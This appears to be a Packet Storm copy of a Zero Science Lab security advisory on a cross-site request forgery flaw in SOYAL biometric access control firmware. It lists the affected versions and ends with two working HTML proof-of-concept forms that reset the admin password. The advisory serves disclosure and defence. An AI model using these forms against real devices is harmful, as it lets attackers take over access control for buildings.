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SOYAL Biometric Access Control System 5.0 Cross Site Request Forgery

🗓️ 19 Mar 2021 00:00:00Reported by LiquidWormType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 323 Views

SOYAL Biometric Access Control System 5.0 CSRF Change Admin Password vulnerability allows unauthorized administrative actions via HTTP requests without validity checks

Code
`  
SOYAL Biometric Access Control System 5.0 CSRF Change Admin Password  
  
  
Vendor: SOYAL Technology Co., Ltd  
Product web page: https://www.soyal.com.tw | https://www.soyal.com  
Affected version: AR-727 i/CM - F/W: 5.0   
AR837E/EF - F/W: 4.3  
AR725Ev2 - F/W: 4.3 191231  
AR331/725E - F/W: 4.2  
AR837E/EF - F/W: 4.1  
AR-727CM /i - F/W: 4.09  
AR-727CM /i - F/W: 4.06  
AR-837E - F/W: 3.03  
  
Summary: Soyal Access systems are built into Raytel Door Entry Systems  
and are providing access and lift control to many buildings from public  
and private apartment blocks to prestigious public buildings.  
  
Desc: The application interface allows users to perform certain actions  
via HTTP requests without performing any validity checks to verify the  
requests. This can be exploited to perform certain actions with administrative  
privileges if a logged-in user visits a malicious web site.  
  
Tested on: SOYAL Technology WebServer 2.0  
SOYAL Serial Device Server 4.03A   
SOYAL Serial Device Server 4.01n  
SOYAL Serial Device Server 3.07n  
  
  
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
@zeroscience  
  
  
Advisory ID: ZSL-2021-5632  
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5632.php  
  
  
25.01.2021  
  
--  
  
  
<html>  
<body>  
<form action="http://192.168.1.1/userset.cgi" method="POST">  
<input type="hidden" name="pw" value="test123" />  
<input type="hidden" name="pw2" value="test123" />  
<input type="submit" value="Forge me!" />  
</form>  
</body>  
</html>  
  
...  
  
<html>  
<body>  
<form action="http://192.168.1.2/LoginUser.cgi" method="POST">  
<input type="hidden" name="pw" value="drugtest123" />  
<input type="hidden" name="pw2" value="drugtest123" />  
<input type="submit" value="Forge me!" />  
</form>  
</body>  
</html>  
`

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